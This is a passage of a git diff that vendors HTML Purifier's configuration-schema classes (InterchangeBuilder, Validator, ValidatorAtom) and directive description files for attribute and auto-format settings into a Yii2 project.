$hash->offsetGet('VERSION'); + } + + if (isset($hash['DEPRECATED-USE'])) { + $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE')); + } + + if (isset($hash['DEPRECATED-VERSION'])) { + $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION'); + } + + if (isset($hash['EXTERNAL'])) { + $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL'))); + } + + $interchange->addDirective($directive); + } + + /** + * Evaluates an array PHP code string without array() wrapper + * @param string $contents + */ + protected function evalArray($contents) + { + return eval('return array(' . $contents . ');'); + } + + /** + * Converts an array list into a lookup array. + * @param array $array + * @return array + */ + protected function lookup($array) + { + $ret = array(); + foreach ($array as $val) { + $ret[$val] = true; + } + return $ret; + } + + /** + * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id + * object based on a string Id. + * @param string $id + * @return HTMLPurifier_ConfigSchema_Interchange_Id + */ + protected function id($id) + { + return HTMLPurifier_ConfigSchema_Interchange_Id::make($id); + } + + /** + * Triggers errors for any unused keys passed in the hash; such keys + * may indicate typos, missing values, etc. + * @param HTMLPurifier_StringHash $hash Hash to check. + */ + protected function _findUnused($hash) + { + $accessed = $hash->getAccessed(); + foreach ($hash as $k => $v) { + if (!isset($accessed[$k])) { + trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php new file mode 100644 index 00000000..fb312778 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.php @@ -0,0 +1,248 @@ +parser = new HTMLPurifier_VarParser(); + } + + /** + * Validates a fully-formed interchange object. + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @return bool + */ + public function validate($interchange) + { + $this->interchange = $interchange; + $this->aliases = array(); + // PHP is a bit lax with integer <=> string conversions in + // arrays, so we don't use the identical !== comparison + foreach ($interchange->directives as $i => $directive) { + $id = $directive->id->toString(); + if ($i != $id) { + $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'"); + } + $this->validateDirective($directive); + } + return true; + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object. + * @param HTMLPurifier_ConfigSchema_Interchange_Id $id + */ + public function validateId($id) + { + $id_string = $id->toString(); + $this->context[] = "id '$id_string'"; + if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) { + // handled by InterchangeBuilder + $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id'); + } + // keys are now unconstrained (we might want to narrow down to A-Za-z0-9.) + // we probably should check that it has at least one namespace + $this->with($id, 'key') + ->assertNotEmpty() + ->assertIsString(); // implicit assertIsString handled by InterchangeBuilder + array_pop($this->context); + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirective($d) + { + $id = $d->id->toString(); + $this->context[] = "directive '$id'"; + $this->validateId($d->id); + + $this->with($d, 'description') + ->assertNotEmpty(); + + // BEGIN - handled by InterchangeBuilder + $this->with($d, 'type') + ->assertNotEmpty(); + $this->with($d, 'typeAllowsNull') + ->assertIsBool(); + try { + // This also tests validity of $d->type + $this->parser->parse($d->default, $d->type, $d->typeAllowsNull); + } catch (HTMLPurifier_VarParserException $e) { + $this->error('default', 'had error: ' . $e->getMessage()); + } + // END - handled by InterchangeBuilder + + if (!is_null($d->allowed) || !empty($d->valueAliases)) { + // allowed and valueAliases require that we be dealing with + // strings, so check for that early. + $d_int = HTMLPurifier_VarParser::$types[$d->type]; + if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) { + $this->error('type', 'must be a string type when used with allowed or value aliases'); + } + } + + $this->validateDirectiveAllowed($d); + $this->validateDirectiveValueAliases($d); + $this->validateDirectiveAliases($d); + + array_pop($this->context); + } + + /** + * Extra validation if $allowed member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveAllowed($d) + { + if (is_null($d->allowed)) { + return; + } + $this->with($d, 'allowed') + ->assertNotEmpty() + ->assertIsLookup(); // handled by InterchangeBuilder + if (is_string($d->default) && !isset($d->allowed[$d->default])) { + $this->error('default', 'must be an allowed value'); + } + $this->context[] = 'allowed'; + foreach ($d->allowed as $val => $x) { + if (!is_string($val)) { + $this->error("value $val", 'must be a string'); + } + } + array_pop($this->context); + } + + /** + * Extra validation if $valueAliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveValueAliases($d) + { + if (is_null($d->valueAliases)) { + return; + } + $this->with($d, 'valueAliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'valueAliases'; + foreach ($d->valueAliases as $alias => $real) { + if (!is_string($alias)) { + $this->error("alias $alias", 'must be a string'); + } + if (!is_string($real)) { + $this->error("alias target $real from alias '$alias'", 'must be a string'); + } + if ($alias === $real) { + $this->error("alias '$alias'", "must not be an alias to itself"); + } + } + if (!is_null($d->allowed)) { + foreach ($d->valueAliases as $alias => $real) { + if (isset($d->allowed[$alias])) { + $this->error("alias '$alias'", 'must not be an allowed value'); + } elseif (!isset($d->allowed[$real])) { + $this->error("alias '$alias'", 'must be an alias to an allowed value'); + } + } + } + array_pop($this->context); + } + + /** + * Extra validation if $aliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveAliases($d) + { + $this->with($d, 'aliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'aliases'; + foreach ($d->aliases as $alias) { + $this->validateId($alias); + $s = $alias->toString(); + if (isset($this->interchange->directives[$s])) { + $this->error("alias '$s'", 'collides with another directive'); + } + if (isset($this->aliases[$s])) { + $other_directive = $this->aliases[$s]; + $this->error("alias '$s'", "collides with alias for directive '$other_directive'"); + } + $this->aliases[$s] = $d->id->toString(); + } + array_pop($this->context); + } + + // protected helper functions + + /** + * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom + * for validating simple member variables of objects. + * @param $obj + * @param $member + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + protected function with($obj, $member) + { + return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member); + } + + /** + * Emits an error, providing helpful context. + * @throws HTMLPurifier_ConfigSchema_Exception + */ + protected function error($target, $msg) + { + if ($target !== false) { + $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext(); + } else { + $prefix = ucfirst($this->getFormattedContext()); + } + throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg)); + } + + /** + * Returns a formatted context string. + * @return string + */ + protected function getFormattedContext() + { + return implode(' in ', array_reverse($this->context)); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php new file mode 100644 index 00000000..c9aa3644 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php @@ -0,0 +1,130 @@ +context = $context; + $this->obj = $obj; + $this->member = $member; + $this->contents =& $obj->$member; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsString() + { + if (!is_string($this->contents)) { + $this->error('must be a string'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsBool() + { + if (!is_bool($this->contents)) { + $this->error('must be a boolean'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsArray() + { + if (!is_array($this->contents)) { + $this->error('must be an array'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertNotNull() + { + if ($this->contents === null) { + $this->error('must not be null'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertAlnum() + { + $this->assertIsString(); + if (!ctype_alnum($this->contents)) { + $this->error('must be alphanumeric'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertNotEmpty() + { + if (empty($this->contents)) { + $this->error('must not be empty'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsLookup() + { + $this->assertIsArray(); + foreach ($this->contents as $v) { + if ($v !== true) { + $this->error('must be a lookup array'); + } + } + return $this; + } + + /** + * @param string $msg + * @throws HTMLPurifier_ConfigSchema_Exception + */ + protected function error($msg) + { + throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser new file mode 100644 index 00000000..22ea3218 Binary files /dev/null and b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.ser differ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt new file mode 100644 index 00000000..0517fed0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt @@ -0,0 +1,8 @@ +Attr.AllowedClasses +TYPE: lookup/null +VERSION: 4.0.0 +DEFAULT: null +--DESCRIPTION-- +List of allowed class values in the class attribute. By default, this is null, +which means all classes are allowed. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt new file mode 100644 index 00000000..249edd64 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt @@ -0,0 +1,12 @@ +Attr.AllowedFrameTargets +TYPE: lookup +DEFAULT: array() +--DESCRIPTION-- +Lookup table of all allowed link frame targets. Some commonly used link +targets include _blank, _self, _parent and _top. Values should be +lowercase, as validation will be done in a case-sensitive manner despite +W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute +so this directive will have no effect in that doctype. XHTML 1.1 does not +enable the Target module by default, you will have to manually enable it +(see the module documentation for more details.) +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt new file mode 100644 index 00000000..9a8fa6a2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt @@ -0,0 +1,9 @@ +Attr.AllowedRel +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed forward document relationships in the rel attribute. Common +values may be nofollow or print. By default, this is empty, meaning that no +document relationships are allowed. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt new file mode 100644 index 00000000..b0178834 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt @@ -0,0 +1,9 @@ +Attr.AllowedRev +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed reverse document relationships in the rev attribute. This +attribute is a bit of an edge-case; if you don't know what it is for, stay +away. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt new file mode 100644 index 00000000..e774b823 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt @@ -0,0 +1,19 @@ +Attr.ClassUseCDATA +TYPE: bool/null +DEFAULT: null +VERSION: 4.0.0 +--DESCRIPTION-- +If null, class will auto-detect the doctype and, if matching XHTML 1.1 or +XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise, +it will use a relaxed CDATA definition. If true, the relaxed CDATA definition +is forced; if false, the NMTOKENS definition is forced. To get behavior +of HTML Purifier prior to 4.0.0, set this directive to false. + +Some rational behind the auto-detection: +in previous versions of HTML Purifier, it was assumed that the form of +class was NMTOKENS, as specified by the XHTML Modularization (representing +XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however +specify class as CDATA. HTML 5 effectively defines it as CDATA, but +with the additional constraint that each name should be unique (this is not +explicitly outlined in previous specifications). +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt new file mode 100644 index 00000000..533165e1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt @@ -0,0 +1,11 @@ +Attr.DefaultImageAlt +TYPE: string/null +DEFAULT: null +VERSION: 3.2.0 +--DESCRIPTION-- +This is the content of the alt tag of an image if the user had not +previously specified an alt attribute. This applies to all images without +a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which +only applies to invalid images, and overrides in the case of an invalid image. +Default behavior with null is to use the basename of the src tag for the alt. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt new file mode 100644 index 00000000..9eb7e384 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt @@ -0,0 +1,9 @@ +Attr.DefaultInvalidImage +TYPE: string +DEFAULT: '' +--DESCRIPTION-- +This is the default image an img tag will be pointed to if it does not have +a valid src attribute. In future versions, we may allow the image tag to +be removed completely, but due to design issues, this is not possible right +now. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt new file mode 100644 index 00000000..2f17bf47 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt @@ -0,0 +1,8 @@ +Attr.DefaultInvalidImageAlt +TYPE: string +DEFAULT: 'Invalid image' +--DESCRIPTION-- +This is the content of the alt tag of an invalid image if the user had not +previously specified an alt attribute. It has no effect when the image is +valid but there was no alt attribute present. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt new file mode 100644 index 00000000..52654b53 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt @@ -0,0 +1,10 @@ +Attr.DefaultTextDir +TYPE: string +DEFAULT: 'ltr' +--DESCRIPTION-- +Defines the default text direction (ltr or rtl) of the document being +parsed. This generally is the same as the value of the dir attribute in +HTML, or ltr if that is not specified. +--ALLOWED-- +'ltr', 'rtl' +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt new file mode 100644 index 00000000..6440d210 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt @@ -0,0 +1,16 @@ +Attr.EnableID +TYPE: bool +DEFAULT: false +VERSION: 1.2.0 +--DESCRIPTION-- +Allows the ID attribute in HTML. This is disabled by default due to the +fact that without proper configuration user input can easily break the +validation of a webpage by specifying an ID that is already on the +surrounding HTML. If you don't mind throwing caution to the wind, enable +this directive, but I strongly recommend you also consider blacklisting IDs +you use (%Attr.IDBlacklist) or prefixing all user supplied IDs +(%Attr.IDPrefix). When set to true HTML Purifier reverts to the behavior of +pre-1.2.0 versions. +--ALIASES-- +HTML.EnableAttrID +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt new file mode 100644 index 00000000..f31d226f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt @@ -0,0 +1,8 @@ +Attr.ForbiddenClasses +TYPE: lookup +VERSION: 4.0.0 +DEFAULT: array() +--DESCRIPTION-- +List of forbidden class values in the class attribute. By default, this is +empty, which means that no classes are forbidden. See also %Attr.AllowedClasses. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt new file mode 100644 index 00000000..5f2b5e3d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt @@ -0,0 +1,5 @@ +Attr.IDBlacklist +TYPE: list +DEFAULT: array() +DESCRIPTION: Array of IDs not allowed in the document. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt new file mode 100644 index 00000000..6f582458 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt @@ -0,0 +1,9 @@ +Attr.IDBlacklistRegexp +TYPE: string/null +VERSION: 1.6.0 +DEFAULT: NULL +--DESCRIPTION-- +PCRE regular expression to be matched against all IDs. If the expression is +matches, the ID is rejected. Use this with care: may cause significant +degradation. ID matching is done after all other validation. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt new file mode 100644 index 00000000..cc49d43f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt @@ -0,0 +1,12 @@ +Attr.IDPrefix +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +String to prefix to IDs. If you have no idea what IDs your pages may use, +you may opt to simply add a prefix to all user-submitted ID attributes so +that they are still usable, but will not conflict with core page IDs. +Example: setting the directive to 'user_' will result in a user submitted +'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true +before using this. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt new file mode 100644 index 00000000..2c5924a7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt @@ -0,0 +1,14 @@ +Attr.IDPrefixLocal +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you +need to allow multiple sets of user content on web page, you may need to +have a seperate prefix that changes with each iteration. This way, +seperately submitted user content displayed on the same page doesn't +clobber each other. Ideal values are unique identifiers for the content it +represents (i.e. the id of the row in the database). Be sure to add a +seperator (like an underscore) at the end. Warning: this directive will +not work unless %Attr.IDPrefix is set to a non-empty value! +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt new file mode 100644 index 00000000..d5caa1bb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt @@ -0,0 +1,31 @@ +AutoFormat.AutoParagraph +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

        + This directive turns on auto-paragraphing, where double newlines are + converted in to paragraphs whenever possible. Auto-paragraphing: +

        +
          +
        • Always applies to inline elements or text in the root node,
        • +
        • Applies to inline elements or text with double newlines in nodes + that allow paragraph tags,
        • +
        • Applies to double newlines in paragraph tags
        • +
        +

        + p tags must be allowed for this directive to take effect. + We do not use br tags for paragraphing, as that is + semantically incorrect. +

        +

        + To prevent auto-paragraphing as a content-producer, refrain from using + double-newlines except to specify a new paragraph or in contexts where + it has special meaning (whitespace usually has no meaning except in + tags like pre, so this should not be difficult.) To prevent + the paragraphing of inline text adjacent to block elements, wrap them + in div tags (the behavior is slightly different outside of + the root node.) +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt new file mode 100644 index 00000000..2a476481 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt @@ -0,0 +1,12 @@ +AutoFormat.Custom +TYPE: list +VERSION: 2.0.1 +DEFAULT: array() +--DESCRIPTION-- + +

        + This directive can be used to add custom auto-format injectors. + Specify an array of injector names (class name minus the prefix) + or concrete implementations. Injector class must exist. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt new file mode 100644 index 00000000..663064a3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt @@ -0,0 +1,11 @@ +AutoFormat.DisplayLinkURI +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

        + This directive turns on the in-text display of URIs in <a> tags, and disables + those links. For example, example becomes + example (http://example.com). +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt new file mode 100644 index 00000000..3a48ba96 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt @@ -0,0 +1,12 @@ +AutoFormat.Linkify +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

        + This directive turns on linkification, auto-linking http, ftp and + https URLs. a tags with the href attribute + must be allowed. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt new file mode 100644 index 00000000..db58b134 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt @@ -0,0 +1,12 @@ +AutoFormat.PurifierLinkify.DocURL +TYPE: string +VERSION: 2.0.1 +DEFAULT: '#%s' +ALIASES: AutoFormatParam.PurifierLinkifyDocURL +--DESCRIPTION-- +

        + Location of configuration documentation to link to, let %s substitute + into the configuration's namespace and directive names sans the percent + sign. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt new file mode 100644 index 00000000..7996488b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt @@ -0,0 +1,12 @@ +AutoFormat.PurifierLinkify +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

        + Internal auto-formatter that converts configuration directives in + syntax %Namespace.Directive to links. a tags + with the href attribute must be allowed. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt new file mode 100644 index 00000000..35c393b4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt @@ -0,0 +1,11 @@ +AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions +TYPE: lookup +VERSION: 4.0.0 +DEFAULT: array('td' => true, 'th' => true) +--DESCRIPTION-- +

        + When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp + are enabled, this directive defines what HTML elements should not be + removede if they have only a non-breaking space in them. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt new file mode 100644 index 00000000..ca17eb1d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt @@ -0,0 +1,15 @@ +AutoFormat.RemoveEmpty.RemoveNbsp +TYPE: bool +VERSION: 4.0.0 +DEFAULT: false +--DESCRIPTION-- +

        + When enabled, HTML Purifier will treat any elements that contain only + non-breaking spaces as well as regular whitespace as empty, and remove + them when %AutoForamt.RemoveEmpty is enabled. +

        +

        + See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements + that don't have this behavior applied to them. +

